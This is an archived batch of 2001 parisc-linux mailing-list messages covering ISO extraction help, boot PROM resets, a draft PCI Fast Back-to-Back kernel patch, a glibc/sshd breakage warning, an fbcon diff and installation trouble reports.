X-OriginalArrivalTime: 18 Jun 2001 15:57:31.0189 (UTC) FILETIME=[61977E50:01C0F80F]
Xref: news.gmane.org gmane.linux.ports.parisc:11377

I've downloaded the 32bit Install ISO (STI), but it is .gz. (zip file). I'm 
working on windows and I want to know what should I do to create the cd 
image. The recording program is Easy Cd Creator.
I've tryed to uncompress the file with winzip, but it brings up an error.
What should I do ?

Thanks for your time.

Hernando
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.





From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Burning a CD image ?
Date: Tue, 19 Jun 2001 00:24:29 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20010619002427.F391@neep.com.au>
References: <F209l06sIQrttDRdNOU00012e19@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620226 20948 80.91.229.3 (22 Nov 2014 01:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 10:24:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 7899C482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 10:24:41 -0600 (MDT)
Original-Received: (qmail 2048 invoked by uid 666); 18 Jun 2001 16:24:32 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.174.227)
  by mail.iinet.net.au with SMTP; 18 Jun 2001 16:24:32 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id AAA27486
	for parisc-linux@lists.parisc-linux.org; Tue, 19 Jun 2001 00:24:33 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <F209l06sIQrttDRdNOU00012e19@hotmail.com>; from hernandoo@hotmail.com on Mon, Jun 18, 2001 at 03:57:30PM -0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11378

Hernando Orozco said:
> I've downloaded the 32bit Install ISO (STI), but it is .gz. (zip file). I'm 
> working on windows and I want to know what should I do to create the cd 
> image. The recording program is Easy Cd Creator.
> I've tryed to uncompress the file with winzip, but it brings up an error.
> What should I do ?

A bit off-topic, but hopefully this will set you straight:

If you've downloaded it correctly (ie the file is intact, and not
transferred in ASCII mode or some other silly mistake) then WinZip
_should_ be able to open the .gz file.  (gz is gzip, not zip.)

Around and about the place one can find useful tools like gzip.exe (gzip
for DOS/Win32) and md5sum.exe (md5sum program).  The md5sum program can
be found on any Debian FTP mirror site in the "tools" directory.  You
can use that to compare the md5 checksum of the iso.gz file against the
ones on the master site.  If you find a gzip.exe you can test the file
directly with 'gzip -tv file.iso.gz' - if it comes up with anything
other than 'OK' then you'll need to download the file again.

Once you have a valid .gz file and have extracted the .iso file, you
can then burn it to CD with pretty much any CDR software, as the file is
a standard ISO9660 image.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting up C110
Date: Mon, 18 Jun 2001 09:49:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010618094957.A27119@zouave.sonic.net>
References: <3B2CDE72.4010006@interaccess.com> <3B2E5CE5.88.5339D5@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620226 20950 80.91.229.3 (22 Nov 2014 01:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Pete <plaven@ozemail.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 10:50:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AF3C482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 10:50:00 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP
	id 8A75D66CC; Mon, 18 Jun 2001 09:49:58 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id 4F9C4A3; Mon, 18 Jun 2001 09:49:57 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3B2E5CE5.88.5339D5@localhost>; from plaven@ozemail.com.au on Mon, Jun 18, 2001 at 07:56:21PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:11379

On Mon, Jun 18, 2001 at 07:56:21PM +1000, Pete wrote:
}  
} > So, 1) how do I reset the boot PROM to use the graphics card/monitor
} > again?
} 
} I'm in the same boat... before I got the sti stuff, I tried the serial port 
} and now don't get any output (mostly due to dud nullmodem 
} connections on the HP box.. it's far too recessed to use with 
} "normal" serial connctions).... so if you get an answer to this, 
} please let me know too.. might work on my 715.

Have you guys tried removing the battery to reset it?

-- 

   E Frank Ball                efball@efball.com




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] 2.4.4 PCI FBB
Date: Mon, 18 Jun 2001 12:05:19 -0600
Lines: 285
Approved: news@gmane.org
Message-ID: <200106181805.MAA20948@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620226 20955 80.91.229.3 (22 Nov 2014 01:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
To: ink@jurassic.park.msu.ru, jgarzik@mandrakesoft.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 12:06:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C782482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Jun 2001 12:06:06 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA20948;
	Mon, 18 Jun 2001 12:05:24 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11380

Hi Ivan, Jeff,

Appended is the 2.4.4 patch for PCI Fast Back-Back (FBB) support.
Could you please review/comment on it?

Some caveats/notes:
o Since I'm on the road (visiting relatives in Germany mostly, currently
  in Zurich), I'm only able to verify it boots on my Omnibook 800.
  PA-RISC port is still based on 2.4.0 so I can't test there.
  My lxr8000 (in Cupertino) doesn't reboot remotely reliably.
  Consider this a first cut.

o I've added logic to pull the secondary PCI bus out of reset properly
  in case the PCI-PCI bridge not been initialized by BIOS.
  This was implicitly happening before in pci_setup_bridge().
  The OB800 has a *broken* VLSI PCI-PCI bridge onboard with respect
  to the BUS_RESET bit - see the "KLUGE ALERT".

o "lspci" segfaults on the OB800. I don't know why.
  I don't think it's related to any changes I've made. I'm running
  debian "unstable" and haven't been able to update in several weeks.
  If it persists after an update, then I'll chase it.

o Ivan proposed pcibios_set_bridge_ctl(); I used "pcibios_init_bus()".
  The calling location in pci_do_scan_bus() seemed like a per-bus
  initialization point rather than a narrow/specific task.
  I'd like to make use of pcibios_init_bus() in the parisc port.
  I've only modified arch/i386 to provide pcibios_init_bus().

o For each secondary bus, pci_setup_bridge() gets called before
  pcibios_init_bus().  The former handles generic PCI-PCI bridge and the
  later deals with arch specific (eg Host-PCI bridge) stuff. However
  the difference is on the primary bus - only pcibios_init_bus() is called.
  FWIW, PA-RISC host-PCI bridges support FBB and I would like to add support
  to enable FBB on the primary busses (yes - plural!).

o I intentionally put all FBB support in pci_setup_bridge() (arch common).
  FBB could also live in the arch specific location (pcibios_init_bus())
  but then that gets replicated for each arch. Not sure if that's a
  problem or not. The trade off is how arch code interacts with common
  code for FBB support on the primary bus(ses).

thanks!
grant



--- 2.4.4-orig/arch/i386/kernel/pci-i386.c	Mon Aug  7 14:31:40 2000
+++ 2.4.4/arch/i386/kernel/pci-i386.c	Sun Jun 17 02:30:29 2001
@@ -324,6 +324,11 @@ int pcibios_enable_resources(struct pci_
 	}
 	if (dev->resource[PCI_ROM_RESOURCE].start)
 		cmd |= PCI_COMMAND_MEMORY;
+
+	/* If bridge/bus controller has FBB enabled, child must too. */
+	if (dev->bus->bridge_ctl & PCI_BRIDGE_CTL_FAST_BACK)
+		cmd |= PCI_COMMAND_FAST_BACK;
+
 	if (cmd != old_cmd) {
 		printk("PCI: Enabling device %s (%04x -> %04x)\n", dev->slot_name, old_cmd, cmd);
 		pci_write_config_word(dev, PCI_COMMAND, cmd);
--- 2.4.4-orig/arch/i386/kernel/pci-pc.c	Thu Apr 19 22:57:06 2001
+++ 2.4.4/arch/i386/kernel/pci-pc.c	Sun Jun 17 02:46:26 2001
@@ -11,6 +11,7 @@
 #include <linux/pci.h>
 #include <linux/init.h>
 #include <linux/ioport.h>
+#include <linux/delay.h>
 
 #include <asm/segment.h>
 #include <asm/io.h>
@@ -1015,6 +1016,29 @@ struct pci_fixup pcibios_fixups[] = {
 };
 
 /*
+ * Called before each bus is probed. Allows us to tweak struct pci_bus *.
+ */
+void __init pcibios_init_bus(struct pci_bus *b)
+{
+	struct pci_dev *dev = b->self;
+
+	/* If host PCI bridge supports FBB, could add support here and
+	** in pcibios_fixup_bus(). For the moment, hope the BIOS is
+	** smart enough to take advantage of FBB.
+	*/
+
+	/* don't forward all "ISA" IO addresses */
+	if (dev && (dev->hdr_type == PCI_HEADER_TYPE_BRIDGE)
+		&& ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
+		&& !(b->bridge_ctl | PCI_BRIDGE_CTL_NO_ISA) )
+	{
+		b->bridge_ctl |= PCI_BRIDGE_CTL_NO_ISA;
+		pci_write_config_word(dev, PCI_BRIDGE_CONTROL, b->bridge_ctl);
+	}
+}
+
+
+/*
  *  Called after each bus is probed, but before its children
  *  are examined.
  */
@@ -1023,6 +1047,11 @@ void __init pcibios_fixup_bus(struct pci
 {
 	pcibios_fixup_ghosts(b);
 	pci_read_bridge_bases(b);
+
+	/* if any i386 PCI host bus adapters support FBB, test FBB bit
+	** in b->bridge_ctl (dis-) enable FBB in the host bus adapter.
+	** Also look at comments in pcibios_init_bus().
+	*/
 }
 
 /*
--- 2.4.4-orig/drivers/pci/pci.c	Thu Apr 19 08:38:48 2001
+++ 2.4.4/drivers/pci/pci.c	Sun Jun 17 03:06:58 2001
@@ -36,6 +36,7 @@
 
 LIST_HEAD(pci_root_buses);
 LIST_HEAD(pci_devices);
+unsigned int pci_post_reset_delay = 50;	/* spec says 1sec but this works */
 
 /**
  * pci_find_slot - locate PCI device from a given PCI slot
@@ -978,9 +979,17 @@ static int __init pci_scan_bridge(struct
 		}
 	} else {
 		/*
-		 * We need to assign a number to this bus which we always
-		 * do in the second pass. We also keep all address decoders
-		 * on the bridge disabled during scanning.  FIXME: Why?
+		 * Assign a number to this bus.  Disable all address
+		 * decoders on the bridge during scanning since we don't
+		 * want unprogrammed or wrongly programmed I/O window
+		 * registers to forward *any* transactions. We can't
+		 * (re-) program the window registers until we know the
+		 * resources needed by devices below this bridge.
+		 *
+		 * NOTE: disabling window registers will prevent BIOS or
+		 * drivers from talking to console/boot devices behind
+		 * the bridge! (ie DBG output won't happen - may hang
+		 * machine depending on arch)
 		 */
 		if (!pass)
 			return max;
@@ -997,6 +1006,7 @@ static int __init pci_scan_bridge(struct
 		 * We need to blast all three values with a single write.
 		 */
 		pci_write_config_dword(dev, PCI_PRIMARY_BUS, buses);
+
 		if (!is_cardbus) {
 			/* Now we can scan all subordinate buses... */
 			max = pci_do_scan_bus(child);
@@ -1046,6 +1056,7 @@ static void pci_read_irq(struct pci_dev 
 int pci_setup_device(struct pci_dev * dev)
 {
 	u32 class;
+	unsigned short status;
 
 	sprintf(dev->slot_name, "%02x:%02x.%d", dev->bus->number, PCI_SLOT(dev->devfn), PCI_FUNC(dev->devfn));
 	sprintf(dev->name, "PCI device %04x:%04x", dev->vendor, dev->device);
@@ -1093,6 +1104,11 @@ int pci_setup_device(struct pci_dev * de
 		dev->class = PCI_CLASS_NOT_DEFINED;
 	}
 
+	/* FBB capability - if not, clear bit in parent bridge_ctl.  */
+	pci_read_config_word(dev, PCI_STATUS, &status);
+	if (0 == (status & PCI_STATUS_FAST_BACK))
+		dev->bus->bridge_ctl &= ~PCI_BRIDGE_CTL_FAST_BACK;
+
 	/* We found a fine healthy device, go go go... */
 	return 0;
 }
@@ -1174,6 +1190,8 @@ static unsigned int __init pci_do_scan_b
 	unsigned int devfn, max, pass;
 	struct list_head *ln;
 	struct pci_dev *dev, dev0;
+
+	pcibios_init_bus(bus);
 
 	DBG("Scanning bus %02x\n", bus->number);
 	max = bus->secondary;
--- 2.4.4-orig/drivers/pci/setup-bus.c	Mon Dec 11 13:46:26 2000
+++ 2.4.4/drivers/pci/setup-bus.c	Sun Jun 17 03:22:27 2001
@@ -127,9 +127,12 @@ pci_setup_bridge(struct pci_bus *bus)
 	struct pbus_set_ranges_data ranges;
 	struct pci_dev *bridge = bus->self;
 	u32 l;
+	unsigned short cap;
+	int need_post_reset_delay;
 
-	if (!bridge || (bridge->class >> 8) != PCI_CLASS_BRIDGE_PCI)
+	if (!bridge || (bridge->foclass >> 8) != PCI_CLASS_BRIDGE_PCI)
 		return;
+
 	ranges.io_start = bus->resource[0]->start;
 	ranges.io_end = bus->resource[0]->end;
 	ranges.mem_start = bus->resource[1]->start;
@@ -165,10 +168,49 @@ pci_setup_bridge(struct pci_bus *bus)
 	l |= bus->resource[2]->end & 0xfff00000;
 	pci_write_config_dword(bridge, PCI_PREF_MEMORY_BASE, l);
 
-	/* Check if we have VGA behind the bridge.
-	   Enable ISA in either case. */
-	l = (bus->resource[0]->flags & IORESOURCE_BUS_HAS_VGA) ? 0x0c : 0x04;
-	pci_write_config_word(bridge, PCI_BRIDGE_CONTROL, l);
+	/* cache bridge_ctl from config register */
+	pci_read_config_word(dev, PCI_BRIDGE_CONTROL, &bus->bridge_ctl);
+
+	/*
+	** x86 pcibios_init_bus() will set CTL_NO_ISA bit
+	*/
+
+	/* Forward VGA down this bridge? */
+	if (bus->resource[0]->flags & IORESOURCE_BUS_HAS_VGA)
+		bus->bridge_ctl |= PCI_BRIDGE_CTL_VGA;
+
+	/*
+	** if Bridge supports FBB, set FBB bit in bridge_ctl.
+	** If any subordinate device doesn't support FBB, will get
+	** cleared during bus scan. If it's still set:
+	** o pci_setup_bridge() will enable FBB in bridge (for secondary bus).
+	** o pci_enable_device() will enable FBB for devices.
+	*/
+	pci_read_config_word(dev, PCI_SEC_STATUS, &cap);
+	if (cap & PCI_BRIDGE_CTL_FAST_BACK)
+		bus->bridge_ctl |= PCI_BRIDGE_CTL_FAST_BACK;
+
+	if (
+#ifdef __i386__
+		/*
+		** KLUGE ALERT!
+		** VLSI (1004:0102) makes a "PCI-PCI Bridge" that's not quite.
+		** OmniBook 800 wedges when BUS_RESET bit is cleared (I
+		** suspect the bit means something else) and then try scan
+		** the bus below.
+		*/
+		(dev->vendor == PCI_VENDOR_ID_DEC) &&
+#endif
+		(need_post_reset_delay = bus->bridge_ctl & PCI_BRIDGE_CTL_BUS_RESET))
+	{
+		/* Make sure bus is not reset. Need 1sec delay if it is. */
+		bus->bridge_ctl &= ~PCI_BRIDGE_CTL_BUS_RESET;
+	}
+
+	pci_write_config_word(bridge, PCI_BRIDGE_CONTROL, bus->bridge_ctl);
+
+	if (need_post_reset_delay)
+		mdelay(pci_post_reset_delay);
 }
 
 static void __init
--- 2.4.4-orig/include/linux/pci.h	Sat May 12 07:40:42 2001
+++ 2.4.4/include/linux/pci.h	Sun Jun 17 03:21:55 2001
@@ -403,12 +403,15 @@ struct pci_bus {
 	unsigned char	productver;	/* product version */
 	unsigned char	checksum;	/* if zero - checksum passed */
 	unsigned char	pad1;
+	unsigned short	bridge_ctl;	/* manage NO_ISA/FBB/et al behaviors */
+	unsigned short	pad2;
 };
 
 #define pci_bus_b(n) list_entry(n, struct pci_bus, node)
 
 extern struct list_head pci_root_buses;	/* list of all known PCI buses */
 extern struct list_head pci_devices;	/* list of all devices */
+extern unsigned int pci_post_reset_delay;  /* delay after clearing RESET */
 
 /*
  * Error values that may be returned by PCI functions.
@@ -460,8 +463,10 @@ struct pci_driver {
 /* these external functions are only available when PCI support is enabled */
 #ifdef CONFIG_PCI
 
-void pcibios_init(void);
-void pcibios_fixup_bus(struct pci_bus *);
+/* pcibios_*() == arch specific implementation */
+void pcibios_init(void);			/* global init */
+void pcibios_init_bus(struct pci_bus *);	/* before each bus scan */
+void pcibios_fixup_bus(struct pci_bus *);	/* after each bus scan */
 int pcibios_enable_device(struct pci_dev *);
 char *pcibios_setup (char *str);
 




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WARNING: installing glibc-2.2.3-6 breaks ssh
Date: Mon, 18 Jun 2001 19:50:24 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010618195024.O10186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620226 20958 80.91.229.3 (22 Nov 2014 01:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 12:50:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AA9C482D
	for <parisc-linux@parisc-linux.org>; Mon, 18 Jun 2001 12:50:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15C46S-0007FH-00; Mon, 18 Jun 2001 19:50:24 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11381

Ifyou install glibc-2.2.3-6, sshd will break.  Here's why:

168   setrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0 

glibc-2.2.3-2.0.0.2 had a bug in that it'd set the max limit to INF/2
and everything would work fine.  This needs to be fixed in the kernel
and hopefully I'll get that done by the end of today.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fbcon diff
Date: Mon, 18 Jun 2001 20:06:35 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20010618200635.P10186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620227 20959 80.91.229.3 (22 Nov 2014 01:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 18 13:06:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EFC8482D
	for <parisc-linux@parisc-linux.org>; Mon, 18 Jun 2001 13:06:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15C4M7-0007Xz-00
	for parisc-linux@parisc-linux.org; Mon, 18 Jun 2001 20:06:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11382

IMO, fbcon.h should look more like this:

Index: include/video/fbcon.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/video/fbcon.h,v
retrieving revision 1.7
diff -u -p -r1.7 fbcon.h
--- fbcon.h	2001/06/17 22:27:04	1.7
+++ fbcon.h	2001/06/18 19:05:09
@@ -205,19 +205,6 @@ extern int set_all_vcs(int fbidx, struct
 #define fb_writel sbus_writel
 #define fb_memset sbus_memset_io
 
-#elif defined(__hppa__) && !(USE_HPPA_IOREMAP)
-
-/* When we switch to ioremap() usage the following defines will
- * be removed and we'll use the arch-independend generic 
- * functions below instead. */
-#define fb_readb gsc_readb
-#define fb_readw gsc_readw
-#define fb_readl gsc_readl
-#define fb_writeb gsc_writeb
-#define fb_writew gsc_writew
-#define fb_writel gsc_writel
-#define fb_memset gsc_memset_io
-	
 #elif defined(__i386__) || defined(__alpha__)
 
 #define fb_readb __raw_readb
@@ -230,13 +217,13 @@ extern int set_all_vcs(int fbidx, struct
 
 #else
 
-#define fb_readb(addr) (*(volatile u8 *) (addr))
-#define fb_readw(addr) (*(volatile u16 *) (addr))
-#define fb_readl(addr) (*(volatile u32 *) (addr))
-#define fb_writeb(b,addr) (*(volatile u8 *) (addr) = (b))
-#define fb_writew(b,addr) (*(volatile u16 *) (addr) = (b))
-#define fb_writel(b,addr) (*(volatile u32 *) (addr) = (b))
-#define fb_memset memset
+#define fb_readb(addr) readb(addr)
+#define fb_readw(addr) readw(addr) 
+#define fb_readl(addr) readl(addr) 
+#define fb_writeb(b,addr) writeb(b,addr) 
+#define fb_writew(b,addr) writew(b,addr) 
+#define fb_writel(b,addr) writel(b,addr) 
+#define fb_memset(addr, c, len) memset_io((unsigned long)addr, c, len)
 
 #endif
 

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "E . Pavletic" <Enzo.Pavletic@guest.arnes.si>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux-0.9-32serial.iso install problems on a 753/99
Date: Tue, 19 Jun 2001 11:26:43 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20010619112643.A853@gorica.go.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620227 20967 80.91.229.3 (22 Nov 2014 01:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 03:25:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrelay1.inwind.it (unknown [212.141.54.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C0C8482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 03:25:02 -0600 (MDT)
Original-Received: from mail.inwind.it (62.98.87.81) by mailrelay1.inwind.it (5.5.029)
        id 3B16682000300F86 for parisc-linux@lists.parisc-linux.org; Tue, 19 Jun 2001 11:25:00 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 18
Xref: news.gmane.org gmane.linux.ports.parisc:11383

Hi,

I'm trying to install the palinux-0.9-32serial.iso image from cdrom on my
735, but I run into troubles when the process reaches the point of the
installation of the base system: it hangs. If I try to run the command
"debootstrap sid /target file:/instmnt/debian" manually, I receive the
following messages:

..
I: Retrieving file:/instmnt/debian/dists/unstable/main/binary-hppa/base/util-linux_2.11b-5_hppa.deb
I: Retrieving file:/instmnt/debian/dists/unstable/main/binary-hppa/base/whiptail_0.50.17-6_hppa.deb
I: Extracting required packages
tar: ./usr/share/doc/libperl5.6: Cannot create symlink to 'perl-base':
Input/output error
tar: Error exit delayed from previous errors

Can anyone help me?
enzo





From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-9000 Sim700 DUMP Configuring 53c710 scsi0 Revision 0x2 (HPMC)
Date: Tue, 19 Jun 2001 11:00:29 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010619110029.B9877@linuxcare.com>
References: <000b01c0f632$8821fb60$c901a8c0@wias.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620227 20970 80.91.229.3 (22 Nov 2014 01:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Christie <info@wias.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 19 03:59:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18C69482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Jun 2001 03:59:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 38C7AB00C; Tue, 19 Jun 2001 11:00:29 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000b01c0f632$8821fb60$c901a8c0@wias.net.au>; from info@wias.net.au on Sat, Jun 16, 2001 at 05:04:05PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:11384

Hi,
  Are you trying to install the release 0.9 ISO?

Which install type are you attempting?  32 bit, 64 bit, serial
or graphical console?

Can you post the console log so we can see what happens prior
to this HPMC?

If your machine can boot 32 or 64 bit kernels, then I'd suggest
that you try 32 bit serial console, as sim700 is better tested on
32 bit.

Richard


On Sat, Jun 16, 2001 at 05:04:05PM +1000, Chris Christie wrote:
> Any light that can be shed on my problem?
> 
> High Priority Machine Check (HPMC): Code 1
> 
> The machine is a K9000 PA8000 k-250
> 
> 
> Make a WIASA decision today !
> 
> Wholesale Internet Access Services Australasia P/L ACN 096 011 511 BN17400545
> 148 Ipswich Road - Woolloongabba - Brisbane - 4102
> GPO Box 949 Brisbane 4001
> Tel: 07 3217 4103
> Fax: 07 3217 3541  
> Email: info@wias.net.au 
> Mob: 0417 375 196




From - Thu Nov 08 21:18:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux-0.9-32serial.iso install problems on a 753/99
Date: Tue, 19 Jun 2001 12:56:37 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010619125637.G9877@linuxcare.com>
References: <20010619112643.A853@gorica.go.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620228 21231 80.91.229.3 (22 Nov 2014 01:37:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "E . Pavletic" <Enzo.Pavletic@guest.arnes.si>
